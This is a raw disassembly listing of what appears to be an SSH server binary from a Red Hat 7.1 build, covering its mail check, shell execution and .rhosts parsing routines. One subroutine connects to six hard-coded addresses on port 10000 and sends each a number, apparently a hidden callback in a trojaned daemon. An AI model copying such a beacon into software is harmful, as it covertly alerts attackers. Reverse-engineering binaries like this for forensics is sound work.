0804dee8  57                          push    %edi
0804dee9  ff 35 10 fc 07 08           pushl   0x807fc10   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804deef  68 e5 d6 06 08              push    $0x806d6e5  ;[in .rodata] 1819635523 'x43 x6f x75 x6c' "Could not
                                                             run %s -q -"
0804def4  ff 35 0c 9c 07 08           pushl   0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                             (Red Hat Linux 7.1 2.96-79)"
0804defa  e8 fd bd ff ff              call    08049cfc <fprintf>
0804deff  83 c4 10                    add     $0x10,%esp
0804df02  83 ec 08                    sub     $0x8,%esp
0804df05  6a 00                       push    $0x0
0804df07  6a 0d                       push    $0xd
0804df09  e8 2e be ff ff              call    08049d3c <signal>
0804df0e  83 c4 10                    add     $0x10,%esp
0804df11  83 ec 08                    sub     $0x8,%esp
0804df14  6a 2f                       push    $0x2f
0804df16  ff b5 ec fb ff ff           pushl   0xfffffbec(%ebp)   ;-1044 'xec xfb xff xff' ""
0804df1c  e8 3b c3 ff ff              call    0804a25c <strrchr>
0804df21  89 c7                       mov     %eax,%edi
0804df23  83 c4 10                    add     $0x10,%esp
0804df26  85 ff                       test    %edi,%edi
0804df28  74 06                       je      0804df30 <Unknown0020+0x7eb>
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0804df2a  47                          inc     %edi
0804df2b  eb 09                       jmp     0804df36 <Unknown0020+0x7f1>
0804df2d  8d 76 00                    lea     0x0(%esi),%esi
0804df30  8b bd ec fb ff ff           mov     0xfffffbec(%ebp),%edi   ;-1044 'xec xfb xff xff' ""
0804df36  8b 75 08                    mov     0x8(%ebp),%esi
0804df39  85 f6                       test    %esi,%esi
0804df3b  0f 85 23 01 00 00           jne     0804e064 <Unknown0020+0x91f>   ;291 'x23 x1 x0 x0' "#"
0804df41  8b 1d ec db 07 08           mov     0x807dbec,%ebx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804df47  85 db                       test    %ebx,%ebx
0804df49  74 69                       je      0804dfb4 <Unknown0020+0x86f>
0804df4b  83 ec 0c                    sub     $0xc,%esp
0804df4e  68 31 d5 06 08              push    $0x806d531   ;[in .rodata] 1279869261 'x4d x41 x49 x4c' "MAIL"
0804df53  e8 c4 bd ff ff              call    08049d1c <getenv>
0804df58  89 c2                       mov     %eax,%edx
0804df5a  83 c4 10                    add     $0x10,%esp
0804df5d  85 d2                       test    %edx,%edx
0804df5f  74 53                       je      0804dfb4 <Unknown0020+0x86f>
0804df61  51                          push    %ecx
0804df62  8d 85 f8 fb ff ff           lea     0xfffffbf8(%ebp),%eax   ;-1032 'xf8 xfb xff xff' ""
0804df68  50                          push    %eax
0804df69  52                          push    %edx
0804df6a  6a 03                       push    $0x3
0804df6c  e8 bb c0 ff ff              call    0804a02c <__xstat>
0804df71  83 c4 10                    add     $0x10,%esp
0804df74  40                          inc     %eax
0804df75  74 0a                       je      0804df81 <Unknown0020+0x83c>
0804df77  8b 95 24 fc ff ff           mov     0xfffffc24(%ebp),%edx   ;-988 'x24 xfc xff xff' "$"
0804df7d  85 d2                       test    %edx,%edx
0804df7f  75 0b                       jne     0804df8c <Unknown0020+0x847>
0804df81  83 ec 0c                    sub     $0xc,%esp
0804df84  68 fc d6 06 08              push    $0x806d6fc   ;[in .rodata] 1830842190 'x4e x6f x20 x6d' "No mail."
0804df89  eb 21                       jmp     0804dfac <Unknown0020+0x867>
0804df8b  90                          nop
0804df8c  8b 85 38 fc ff ff           mov     0xfffffc38(%ebp),%eax   ;-968 'x38 xfc xff xff' "8"
0804df92  39 85 30 fc ff ff           cmp     %eax,0xfffffc30(%ebp)   ;-976 'x30 xfc xff xff' "0"
0804df98  7e 0a                       jle     0804dfa4 <Unknown0020+0x85f>
0804df9a  83 ec 0c                    sub     $0xc,%esp
0804df9d  68 06 d7 06 08              push    $0x806d706   ;[in .rodata] 544567129 'x59 x6f x75 x20' "You have
                                                              mail."
0804dfa2  eb 08                       jmp     0804dfac <Unknown0020+0x867>
0804dfa4  83 ec 0c                    sub     $0xc,%esp
0804dfa7  68 16 d7 06 08              push    $0x806d716   ;[in .rodata] 544567129 'x59 x6f x75 x20' "You have new
                                                              mail."
0804dfac  e8 3b c2 ff ff              call    0804a1ec <printf>
0804dfb1  83 c4 10                    add     $0x10,%esp
0804dfb4  a1 c8 7b 07 08              mov     0x8077bc8,%eax   ;[in .data] -1 'xff xff xff xff' ""
0804dfb9  85 c0                       test    %eax,%eax
0804dfbb  78 19                       js      0804dfd6 <Unknown0020+0x891>
0804dfbd  3b 05 18 fc 07 08           cmp     0x807fc18,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804dfc3  7d 11                       jge     0804dfd6 <Unknown0020+0x891>
0804dfc5  83 ec 08                    sub     $0x8,%esp
0804dfc8  50                          push    %eax
0804dfc9  68 40 d7 06 08              push    $0x806d740   ;[in .rodata] 1096222986 'xa x9 x57 x41' ""
0804dfce  e8 19 c2 ff ff              call    0804a1ec <printf>
0804dfd3  83 c4 10                    add     $0x10,%esp
0804dfd6  a1 cc 7b 07 08              mov     0x8077bcc,%eax   ;[in .data] -1 'xff xff xff xff' ""
0804dfdb  85 c0                       test    %eax,%eax
0804dfdd  78 19                       js      0804dff8 <Unknown0020+0x8b3>
0804dfdf  3b 05 14 fc 07 08           cmp     0x807fc14,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804dfe5  7d 11                       jge     0804dff8 <Unknown0020+0x8b3>
0804dfe7  83 ec 08                    sub     $0x8,%esp
0804dfea  50                          push    %eax
0804dfeb  68 80 d7 06 08              push    $0x806d780   ;[in .rodata] 1096222986 'xa x9 x57 x41' ""
0804dff0  e8 f7 c1 ff ff              call    0804a1ec <printf>
0804dff5  83 c4 10                    add     $0x10,%esp
0804dff8  50                          push    %eax
0804dff9  68 ff 00 00 00              push    $0xff   ;255 'xff x0 x0 x0' ""
0804dffe  57                          push    %edi
0804dfff  8d 85 59 fc ff ff           lea     0xfffffc59(%ebp),%eax   ;-935 'x59 xfc xff xff' "Y"
0804e005  50                          push    %eax
0804e006  c6 85 58 fc ff ff 2d        movb    $0x2d,0xfffffc58(%ebp)   ;-936 'x58 xfc xff xff' "X"
0804e00d  e8 ba c3 ff ff              call    0804a3cc <strncpy>
0804e012  83 c4 0c                    add     $0xc,%esp
0804e015  ff b5 f0 fb ff ff           pushl   0xfffffbf0(%ebp)   ;-1040 'xf0 xfb xff xff' ""
0804e01b  8d 85 58 fe ff ff           lea     0xfffffe58(%ebp),%eax   ;-424 'x58 xfe xff xff' "X"
0804e021  50                          push    %eax
0804e022  8d 9d 58 fc ff ff           lea     0xfffffc58(%ebp),%ebx   ;-936 'x58 xfc xff xff' "X"
0804e028  ff b5 ec fb ff ff           pushl   0xfffffbec(%ebp)   ;-1044 'xec xfb xff xff' ""
0804e02e  c6 85 57 fd ff ff 00        movb    $0x0,0xfffffd57(%ebp)   ;-681 'x57 xfd xff xff' "W"
0804e035  89 9d 58 fe ff ff           mov     %ebx,0xfffffe58(%ebp)   ;-424 'x58 xfe xff xff' "X"
0804e03b  c7 85 5c fe ff ff 00 00 00 00  movl  $0x0,0xfffffe5c(%ebp)   ;0 'x0 x0 x0 x0' ""
0804e045  e8 d2 bd ff ff              call    08049e1c <execve>
0804e04a  5f                          pop     %edi
0804e04b  ff b5 ec fb ff ff           pushl   0xfffffbec(%ebp)   ;-1044 'xec xfb xff xff' ""
```

```
0804e051  e8 96 bc ff ff        call    08049cec <perror>
0804e056  c7 04 24 01 00 00 00  movl    $0x1,(%esp,1)  ;1 'x1 x0 x0 x0' ""
0804e05d  e8 ea c2 ff ff        call    0804a34c <exit>
0804e062  89 f6                 mov     %esi,%esi
0804e064  56                    push    %esi
0804e065  8b 45 08              mov     0x8(%ebp),%eax
0804e068  ff b5 f0 fb ff ff     pushl   0xfffffbf0(%ebp)   ;-1040 'xf0 xfb xff xff' ""
0804e06e  89 85 60 fe ff ff     mov     %eax,0xfffffe60(%ebp)  ;-416 'x60 xfe xff xff' "`"
0804e074  8d 85 58 fe ff ff     lea     0xfffffe58(%ebp),%eax  ;-424 'x58 xfe xff xff' "X"
0804e07a  50                    push    %eax
0804e07b  ff b5 ec fb ff ff     pushl   0xfffffbec(%ebp)   ;-1044 'xec xfb xff xff' ""
0804e081  89 bd 58 fe ff ff     mov     %edi,0xfffffe58(%ebp)  ;-424 'x58 xfe xff xff' "X"
0804e087  c7 85 5c fe ff ff ae d7 06 08  movl  $0x806d7ae,0xfffffe5c(%ebp)  ;[in .rodata] 620782381 'x2d
                                                                              x63 x0 x25' "-c"
0804e091  c7 85 64 fe ff ff 00 00 00 00  movl  $0x0,0xfffffe64(%ebp)  ;0 'x0 x0 x0 x0' ""
0804e09b  e8 7c bd ff ff        call    08049e1c <execve>
0804e0a0  5b                    pop     %ebx
0804e0a1  ff b5 ec fb ff ff     pushl   0xfffffbec(%ebp)   ;-1044 'xec xfb xff xff' ""
0804e0a7  e8 40 bc ff ff        call    08049cec <perror>
0804e0ac  c7 04 24 01 00 00 00  movl    $0x1,(%esp,1)  ;1 'x1 x0 x0 x0' ""
0804e0b3  e8 94 c2 ff ff        call    0804a34c <exit>


  ;
  ; >--------------------<  Subroutine #  21 >--------------------<
  ;
0804e0b8 <Unknown0021>:
0804e0b8  55                    push    %ebp
0804e0b9  89 e5                 mov     %esp,%ebp
0804e0bb  57                    push    %edi
0804e0bc  56                    push    %esi
0804e0bd  53                    push    %ebx
0804e0be  b8 06 00 00 00        mov     $0x6,%eax   ;6 'x6 x0 x0 x0' ""
0804e0c3  81 ec 4c 04 00 00     sub     $0x44c,%esp  ;1100 'x4c x4 x0 x0' "L"
0804e0c9  fc                    cld
0804e0ca  89 c1                 mov     %eax,%ecx
0804e0cc  8d 7d c8              lea     0xffffffc8(%ebp),%edi
0804e0cf  be d0 7b 07 08        mov     $0x8077bd0,%esi  ;[in .data] -1900845374 'xc2 x66 xb3 x8e' ""
0804e0d4  f3 a5                 repz movsl %ds:(%esi),%es:(%edi)
0804e0d6  89 c8                 mov     %ecx,%eax
0804e0d8  8d 7d b8              lea     0xffffffb8(%ebp),%edi
0804e0db  b9 04 00 00 00        mov     $0x4,%ecx   ;4 'x4 x0 x0 x0' ""
0804e0e0  f3 ab                 repz stos %eax,%es:(%edi)
0804e0e2  8d 9d b8 fb ff ff     lea     0xfffffbb8(%ebp),%ebx  ;-1096 'xb8 xfb xff xff' ""
0804e0e8  66 c7 45 b8 02 00     movw    $0x2,0xffffffb8(%ebp)
0804e0ee  66 c7 45 ba 27 10     movw    $0x1027,0xffffffba(%ebp)
0804e0f4  c7 85 b4 fb ff ff 00 00 00 00  movl  $0x0,0xfffffbb4(%ebp)  ;0 'x0 x0 x0 x0' ""
0804e0fe  89 f6                 mov     %esi,%esi
0804e100  8b 95 b4 fb ff ff     mov     0xfffffbb4(%ebp),%edx  ;-1100 'xb4 xfb xff xff' ""
0804e106  8d 45 c8              lea     0xffffffc8(%ebp),%eax
0804e109  8b 04 90              mov     (%eax,%edx,4),%eax
0804e10c  56                    push    %esi
0804e10d  6a 06                 push    $0x6
0804e10f  6a 01                 push    $0x1
0804e111  6a 02                 push    $0x2
0804e113  89 45 bc              mov     %eax,0xffffffbc(%ebp)
0804e116  e8 51 c3 ff ff        call    0804a46c <socket>
0804e11b  89 c6                 mov     %eax,%esi
0804e11d  83 c4 10              add     $0x10,%esp
0804e120  85 f6                 test    %esi,%esi
0804e122  78 56                 js      0804e17a <Unknown0021+0xc2>
0804e124  51                    push    %ecx
0804e125  6a 10                 push    $0x10
0804e127  8d 45 b8              lea     0xffffffb8(%ebp),%eax
0804e12a  50                    push    %eax
0804e12b  56                    push    %esi
0804e12c  e8 8b c2 ff ff        call    0804a3bc <connect>
0804e131  83 c4 0c              add     $0xc,%esp
0804e134  ff 75 08              pushl   0x8(%ebp)
0804e137  68 b1 d7 06 08        push    $0x806d7b1  ;[in .rodata] 680997 'x25 x64 xa x0' "%d"
0804e13c  53                    push    %ebx
0804e13d  89 df                 mov     %ebx,%edi
0804e13f  e8 08 c3 ff ff        call    0804a44c <sprintf>
0804e144  fc                    cld
0804e145  31 c0                 xor     %eax,%eax
0804e147  b9 ff ff ff ff        mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0804e14c  f2 ae                 repnz scas %es:(%edi),%al
0804e14e  f7 d1                 not     %ecx
0804e150  83 c4 0c              add     $0xc,%esp
0804e153  49                    dec     %ecx
0804e154  51                    push    %ecx
0804e155  53                    push    %ebx
0804e156  56                    push    %esi
0804e157  e8 50 bb ff ff        call    08049cac <write>
```

```
0804e15c   89 34 24            mov     %esi,(%esp,1)
0804e15f   e8 78 bb ff ff      call    08049cdc <close>
0804e164   ff 85 b4 fb ff ff   incl    0xfffffbb4(%ebp)   ;-1100 'xb4 xfb xff xff' ""
0804e16a   83 c4 10            add     $0x10,%esp
0804e16d   83 bd b4 fb ff ff 05 cmpl   $0x5,0xfffffbb4(%ebp)   ;-1100 'xb4 xfb xff xff' ""
0804e174   0f 8e 86 ff ff ff   jle     0804e100 <Unknown0021+0x48>   ;-122 'x86 xff xff xff' ""
0804e17a   8d 65 f4            lea     0xfffffff4(%ebp),%esp
0804e17d   5b                  pop     %ebx
0804e17e   5e                  pop     %esi
0804e17f   5f                  pop     %edi
0804e180   5d                  pop     %ebp
0804e181   c3                  ret
0804e182   89 f6               mov     %esi,%esi


   ;
   ; >--------------------<  Subroutine #  22 >--------------------<
   ;
0804e184 <Unknown0022>:
0804e184   55                  push    %ebp
0804e185   89 e5               mov     %esp,%ebp
0804e187   57                  push    %edi
0804e188   56                  push    %esi
0804e189   53                  push    %ebx
0804e18a   8b 5d 08            mov     0x8(%ebp),%ebx
0804e18d   8a 0b               mov     (%ebx),%cl
0804e18f   84 c9               test    %cl,%cl
0804e191   8b 7d 0c            mov     0xc(%ebp),%edi
0804e194   74 34               je      0804e1ca <Unknown0022+0x46>
0804e196   89 f6               mov     %esi,%esi
0804e198   8a 17               mov     (%edi),%dl
0804e19a   84 d2               test    %dl,%dl
0804e19c   89 ce               mov     %ecx,%esi
0804e19e   74 1a               je      0804e1ba <Unknown0022+0x36>
0804e1a0   8d 41 9f            lea     0xffffff9f(%ecx),%eax
0804e1a3   3c 19               cmp     $0x19,%al
0804e1a5   77 03               ja      0804e1aa <Unknown0022+0x26>
0804e1a7   8d 71 e0            lea     0xffffffe0(%ecx),%esi
0804e1aa   8d 42 9f            lea     0xffffff9f(%edx),%eax
0804e1ad   3c 19               cmp     $0x19,%al
0804e1af   77 03               ja      0804e1b4 <Unknown0022+0x30>
0804e1b1   83 ea 20            sub     $0x20,%edx
0804e1b4   89 f0               mov     %esi,%eax
0804e1b6   38 d0               cmp     %dl,%al
0804e1b8   74 06               je      0804e1c0 <Unknown0022+0x3c>
0804e1ba   31 c0               xor     %eax,%eax
0804e1bc   eb 14               jmp     0804e1d2 <Unknown0022+0x4e>
0804e1be   89 f6               mov     %esi,%esi
0804e1c0   43                  inc     %ebx
0804e1c1   8a 03               mov     (%ebx),%al
0804e1c3   88 c1               mov     %al,%cl
0804e1c5   47                  inc     %edi
0804e1c6   84 c9               test    %cl,%cl
0804e1c8   75 ce               jne     0804e198 <Unknown0022+0x14>
0804e1ca   31 c0               xor     %eax,%eax
0804e1cc   80 3f 00            cmpb    $0x0,(%edi)
0804e1cf   0f 94 c0            sete    %al
0804e1d2   5b                  pop     %ebx
0804e1d3   5e                  pop     %esi
0804e1d4   5f                  pop     %edi
0804e1d5   5d                  pop     %ebp
0804e1d6   c3                  ret
0804e1d7   90                  nop


   ;
   ; >--------------------<  Subroutine #  23 >--------------------<
   ;
0804e1d8 <Unknown0023>:
0804e1d8   55                  push    %ebp
0804e1d9   89 e5               mov     %esp,%ebp
0804e1db   57                  push    %edi
0804e1dc   56                  push    %esi
0804e1dd   53                  push    %ebx
0804e1de   81 ec 1c 10 00 00   sub     $0x101c,%esp   ;4124 'xlc x10 x0 x0' ""
0804e1e4   6a 00               push    $0x0
0804e1e6   6a 00               push    $0x0
0804e1e8   ff 75 0c            pushl   0xc(%ebp)
0804e1eb   ff 75 08            pushl   0x8(%ebp)
0804e1ee   e8 ad 07 01 00      call    0805e9a0 <Unknown0279>
0804e1f3   83 c4 10            add     $0x10,%esp
0804e1f6   85 c0               test    %eax,%eax
0804e1f8   89 85 e4 ef ff ff   mov     %eax,0xffffefe4(%ebp)   ;-4124 'xe4 xef xff xff' ""
0804e1fe   75 34               jne     0804e234 <Unknown0023+0x5c>
```

```
0804e200   e9 b3 03 00 00      jmp     0804e5b8 <Unknown0023+0x3e0>  ;947 'xb3 x3 x0 x0' ""
0804e205   8d 76 00            lea     0x0(%esi),%esi
0804e208   83 ec 0c            sub     $0xc,%esp
0804e20b   68 c0 d7 06 08      push    $0x806d7c0  ;[in .rodata] 1853189958 'x46 x6f x75 x6e' "Found
                                                    control characters in the .rhosts or .shosts file, rest
                                                    of the file ignored"
0804e210   e8 67 85 00 00      call    0805677c <Unknown0156>
0804e215   59                  pop     %ecx
0804e216   e9 92 03 00 00      jmp     0804e5ad <Unknown0023+0x3d5>  ;914 'x92 x3 x0 x0' ""
0804e21b   90                  nop
0804e21c   83 ec 08            sub     $0x8,%esp
0804e21f   ff 75 0c            pushl   0xc(%ebp)
0804e222   68 c0 d8 06 08      push    $0x806d8c0  ;[in .rodata] 1668571469 'x4d x61 x74 x63' "Matched
                                                    negative entry in %.100s."
0804e227   e8 50 85 00 00      call    0805677c <Unknown0156>
0804e22c   e9 87 03 00 00      jmp     0804e5b8 <Unknown0023+0x3e0>  ;903 'x87 x3 x0 x0' ""
0804e231   8d 76 00            lea     0x0(%esi),%esi
0804e234   8d 85 e8 fb ff ff   lea     0xfffffbe8(%ebp),%eax   ;-1048 'xe8 xfb xff xff' ""
0804e23a   89 85 e0 ef ff ff   mov     %eax,0xffffefe0(%ebp)   ;-4128 'xe0 xef xff xff' ""
0804e240   e9 43 03 00 00      jmp     0804e588 <Unknown0023+0x3b0>  ;835 'x43 x3 x0 x0' "C"
0804e245   8d 76 00            lea     0x0(%esi),%esi
0804e248   8a 95 e8 fb ff ff   mov     0xfffffbe8(%ebp),%dl    ;-1048 'xe8 xfb xff xff' ""
0804e24e   84 d2               test    %dl,%dl
0804e250   8b 9d e0 ef ff ff   mov     0xffffefe0(%ebp),%ebx   ;-4128 'xe0 xef xff xff' ""
0804e256   74 1d               je      0804e275 <Unknown0023+0x9d>
0804e258   88 d0               mov     %dl,%al
0804e25a   8b 0d 10 9c 07 08   mov     0x8079c10,%ecx   ;[in .bss] 808464928 'x20 x32 x30 x30' " 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804e260   3c 1f               cmp     $0x1f,%al
0804e262   7f 0a               jg      0804e26e <Unknown0023+0x96>
0804e264   0f be 03            movsbl  (%ebx),%eax
0804e267   f6 44 41 01 20      testb   $0x20,0x1(%ecx,%eax,2)
0804e26c   74 9a               je      0804e208 <Unknown0023+0x30>
0804e26e   43                  inc     %ebx
0804e26f   8a 03               mov     (%ebx),%al
0804e271   84 c0               test    %al,%al
0804e273   75 eb               jne     0804e260 <Unknown0023+0x88>
0804e275   80 fa 20            cmp     $0x20,%dl
0804e278   8d 9d e8 fb ff ff   lea     0xfffffbe8(%ebp),%ebx   ;-1048 'xe8 xfb xff xff' ""
0804e27e   74 08               je      0804e288 <Unknown0023+0xb0>
0804e280   80 fa 09            cmp     $0x9,%dl
0804e283   75 0e               jne     0804e293 <Unknown0023+0xbb>
0804e285   8d 76 00            lea     0x0(%esi),%esi
0804e288   43                  inc     %ebx
0804e289   8a 03               mov     (%ebx),%al
0804e28b   3c 20               cmp     $0x20,%al
0804e28d   74 f9               je      0804e288 <Unknown0023+0xb0>
0804e28f   3c 09               cmp     $0x9,%al
0804e291   74 f5               je      0804e288 <Unknown0023+0xb0>
0804e293   83 ec 08            sub     $0x8,%esp
0804e296   6a 23               push    $0x23
0804e298   53                  push    %ebx
0804e299   e8 be b9 ff ff      call    08049c5c <strchr>
0804e29e   83 c4 10            add     $0x10,%esp
0804e2a1   85 c0               test    %eax,%eax
0804e2a3   74 03               je      0804e2a8 <Unknown0023+0xd0>
0804e2a5   c6 00 00            movb    $0x0,(%eax)
0804e2a8   8a 03               mov     (%ebx),%al
0804e2aa   3c 23               cmp     $0x23,%al
0804e2ac   0f 84 d6 02 00 00   je      0804e588 <Unknown0023+0x3b0>  ;726 'xd6 x2 x0 x0' ""
0804e2b2   3c 0a               cmp     $0xa,%al
0804e2b4   0f 84 ce 02 00 00   je      0804e588 <Unknown0023+0x3b0>  ;718 'xce x2 x0 x0' ""
0804e2ba   84 c0               test    %al,%al
0804e2bc   0f 84 c6 02 00 00   je      0804e588 <Unknown0023+0x3b0>  ;710 'xc6 x2 x0 x0' ""
0804e2c2   52                  push    %edx
0804e2c3   6a 07               push    $0x7
0804e2c5   68 12 d8 06 08      push    $0x806d812  ;[in .rodata] 1348423502 'x4e x4f x5f x50' "NO_PLUS"
0804e2ca   53                  push    %ebx
0804e2cb   e8 4c be ff ff      call    0804a11c <strncmp>
0804e2d0   83 c4 10            add     $0x10,%esp
0804e2d3   85 c0               test    %eax,%eax
0804e2d5   0f 84 ad 02 00 00   je      0804e588 <Unknown0023+0x3b0>  ;685 'xad x2 x0 x0' ""
0804e2db   83 ec 0c            sub     $0xc,%esp
0804e2de   8d 85 e8 ef ff ff   lea     0xffffefe8(%ebp),%eax   ;-4120 'xe8 xef xff xff' ""
0804e2e4   50                  push    %eax
0804e2e5   8d 9d e8 f3 ff ff   lea     0xfffff3e8(%ebp),%ebx   ;-3096 'xe8 xf3 xff xff' ""
0804e2eb   53                  push    %ebx
0804e2ec   8d 85 e8 f7 ff ff   lea     0xfffff7e8(%ebp),%eax   ;-2072 'xe8 xf7 xff xff' ""
0804e2f2   50                  push    %eax
0804e2f3   68 4f d8 06 08      push    $0x806d84f  ;[in .rodata] 622883621 'x25 x73 x20 x25' "%s %s %s"
0804e2f8   ff b5 e0 ef ff ff   pushl   0xffffefe0(%ebp)  ;-4128 'xe0 xef xff xff' ""
0804e2fe   e8 69 c0 ff ff      call    0804a36c <sscanf>
0804e303   83 c4 20            add     $0x20,%esp
0804e306   83 f8 01            cmp     $0x1,%eax
```

```
0804e309   74 31                  je      0804e33c <Unknown0023+0x164>
0804e30b   83 f8 01               cmp     $0x1,%eax
0804e30e   7f 0c                  jg      0804e31c <Unknown0023+0x144>
0804e310   85 c0                  test    %eax,%eax
0804e312   74 18                  je      0804e32c <Unknown0023+0x154>
0804e314   e9 6f 02 00 00         jmp     0804e588 <Unknown0023+0x3b0>  ;623 'x6f x2 x0 x0' "o"
0804e319   8d 76 00               lea     0x0(%esi),%esi
0804e31c   83 f8 02               cmp     $0x2,%eax
0804e31f   74 47                  je      0804e368 <Unknown0023+0x190>
0804e321   83 f8 03               cmp     $0x3,%eax
0804e324   74 32                  je      0804e358 <Unknown0023+0x180>
0804e326   e9 5d 02 00 00         jmp     0804e588 <Unknown0023+0x3b0>  ;605 'x5d x2 x0 x0' "]"
0804e32b   90                     nop
0804e32c   83 ec 08               sub     $0x8,%esp
0804e32f   ff 75 0c               pushl   0xc(%ebp)
0804e332   68 1a d8 06 08         push    $0x806d81a   ;[in .rodata] 1853189958 'x46 x6f x75 x6e' "Found empty
                                                          line in %.100s."
0804e337   e9 cb 00 00 00         jmp     0804e407 <Unknown0023+0x22f>  ;203 'xcb x0 x0 x0' ""
0804e33c   50                     push    %eax
0804e33d   68 00 04 00 00         push    $0x400   ;1024 'x0 x4 x0 x0' ""
0804e342   ff 75 1c               pushl   0x1c(%ebp)
0804e345   53                     push    %ebx
0804e346   e8 81 c0 ff ff         call    0804a3cc <strncpy>
0804e34b   83 c4 10               add     $0x10,%esp
0804e34e   c6 85 e7 f7 ff ff 00   movb    $0x0,0xfffff7e7(%ebp)   ;-2073 'xe7 xf7 xff xff' ""
0804e355   eb 11                  jmp     0804e368 <Unknown0023+0x190>
0804e357   90                     nop
0804e358   83 ec 08               sub     $0x8,%esp
0804e35b   ff 75 0c               pushl   0xc(%ebp)
0804e35e   68 36 d8 06 08         push    $0x806d836   ;[in .rodata] 1853189958 'x46 x6f x75 x6e' "Found
                                                          garbage in %.100s."
0804e363   e9 9f 00 00 00         jmp     0804e407 <Unknown0023+0x22f>  ;159 'x9f x0 x0 x0' ""
0804e368   8d b5 e8 f7 ff ff      lea     0xfffff7e8(%ebp),%esi   ;-2072 'xe8 xf7 xff xff' ""
0804e36e   31 c0                  xor     %eax,%eax
0804e370   89 f7                  mov     %esi,%edi
0804e372   fc                     cld
0804e373   b9 ff ff ff ff         mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804e378   f2 ae                  repnz scas %es:(%edi),%al
0804e37a   f7 d1                  not     %ecx
0804e37c   49                     dec     %ecx
0804e37d   81 f9 ff 00 00 00      cmp     $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0804e383   8d 9d e8 f3 ff ff      lea     0xfffff3e8(%ebp),%ebx   ;-3096 'xe8 xf3 xff xff' ""
0804e389   76 07                  jbe     0804e392 <Unknown0023+0x1ba>
0804e38b   c6 85 e7 f8 ff ff 00   movb    $0x0,0xfffff8e7(%ebp)   ;-1817 'xe7 xf8 xff xff' ""
0804e392   31 c0                  xor     %eax,%eax
0804e394   89 df                  mov     %ebx,%edi
0804e396   fc                     cld
0804e397   b9 ff ff ff ff         mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804e39c   f2 ae                  repnz scas %es:(%edi),%al
0804e39e   f7 d1                  not     %ecx
0804e3a0   49                     dec     %ecx
0804e3a1   81 f9 ff 00 00 00      cmp     $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0804e3a7   76 07                  jbe     0804e3b0 <Unknown0023+0x1d8>
0804e3a9   c6 85 e7 f4 ff ff 00   movb    $0x0,0xfffff4e7(%ebp)   ;-2841 'xe7 xf4 xff xff' ""
0804e3b0   8a 85 e8 f7 ff ff      mov     0xfffff7e8(%ebp),%al   ;-2072 'xe8 xf7 xff xff' ""
0804e3b6   3c 2d                  cmp     $0x2d,%al
0804e3b8   c7 85 dc ef ff ff 00 00 00 00   movl    $0x0,0xffffefdc(%ebp)   ;0 'x0 x0 x0 x0' ""
0804e3c2   75 0c                  jne     0804e3d0 <Unknown0023+0x1f8>
0804e3c4   c7 85 dc ef ff ff 01 00 00 00   movl    $0x1,0xffffefdc(%ebp)   ;1 'x1 x0 x0 x0' ""
0804e3ce   eb 04                  jmp     0804e3d4 <Unknown0023+0x1fc>
0804e3d0   3c 2b                  cmp     $0x2b,%al
0804e3d2   75 06                  jne     0804e3da <Unknown0023+0x202>
0804e3d4   8d b5 e9 f7 ff ff      lea     0xfffff7e9(%ebp),%esi   ;-2071 'xe9 xf7 xff xff' ""
0804e3da   8a 03                  mov     (%ebx),%al
0804e3dc   3c 2d                  cmp     $0x2d,%al
0804e3de   75 0c                  jne     0804e3ec <Unknown0023+0x214>
0804e3e0   c7 85 dc ef ff ff 01 00 00 00   movl    $0x1,0xffffefdc(%ebp)   ;1 'x1 x0 x0 x0' ""
0804e3ea   eb 04                  jmp     0804e3f0 <Unknown0023+0x218>
0804e3ec   3c 2b                  cmp     $0x2b,%al
0804e3ee   75 01                  jne     0804e3f1 <Unknown0023+0x219>
0804e3f0   43                     inc     %ebx
0804e3f1   8a 06                  mov     (%esi),%al
0804e3f3   84 c0                  test    %al,%al
0804e3f5   74 05                  je      0804e3fc <Unknown0023+0x224>
0804e3f7   80 3b 00               cmpb    $0x0,(%ebx)
0804e3fa   75 18                  jne     0804e414 <Unknown0023+0x23c>
0804e3fc   83 ec 08               sub     $0x8,%esp
0804e3ff   ff 75 0c               pushl   0xc(%ebp)
0804e402   68 60 d8 06 08         push    $0x806d860   ;[in .rodata] 1869506377 'x49 x67 x6e x6f' "Ignoring
                                                          wild host/user names in %.100s."
0804e407   e8 70 83 00 00         call    0805677c <Unknown0156>
0804e40c   83 c4 10               add     $0x10,%esp
0804e40f   e9 74 01 00 00         jmp     0804e588 <Unknown0023+0x3b0>  ;372 'x74 x1 x0 x0' "t"
0804e414   3c 40                  cmp     $0x40,%al
```

```
0804e416  75 30                       jne     0804e448 <Unknown0023+0x270>
0804e418  6a 00                       push    $0x0
0804e41a  6a 00                       push    $0x0
0804e41c  ff 75 10                    pushl   0x10(%ebp)
0804e41f  8d 7e 01                    lea     0x1(%esi),%edi
0804e422  57                          push    %edi
0804e423  e8 a4 bd ff ff              call    0804a1cc <innetgr>
0804e428  83 c4 10                    add     $0x10,%esp
0804e42b  85 c0                       test    %eax,%eax
0804e42d  75 43                       jne     0804e472 <Unknown0023+0x29a>
0804e42f  6a 00                       push    $0x0
0804e431  6a 00                       push    $0x0
0804e433  ff 75 14                    pushl   0x14(%ebp)
0804e436  57                          push    %edi
0804e437  e8 90 bd ff ff              call    0804a1cc <innetgr>
0804e43c  83 c4 10                    add     $0x10,%esp
0804e43f  85 c0                       test    %eax,%eax
0804e441  75 2f                       jne     0804e472 <Unknown0023+0x29a>
0804e443  e9 40 01 00 00              jmp     0804e588 <Unknown0023+0x3b0>   ;320 'x40 x1 x0 x0' "@"
0804e448  83 ec 08                    sub     $0x8,%esp
0804e44b  ff 75 10                    pushl   0x10(%ebp)
0804e44e  56                          push    %esi
0804e44f  e8 30 fd ff ff              call    0804e184 <Unknown0022>
0804e454  83 c4 10                    add     $0x10,%esp
0804e457  85 c0                       test    %eax,%eax
0804e459  75 17                       jne     0804e472 <Unknown0023+0x29a>
0804e45b  83 ec 08                    sub     $0x8,%esp
0804e45e  ff 75 14                    pushl   0x14(%ebp)
0804e461  56                          push    %esi
0804e462  e8 65 b8 ff ff              call    08049ccc <strcmp>
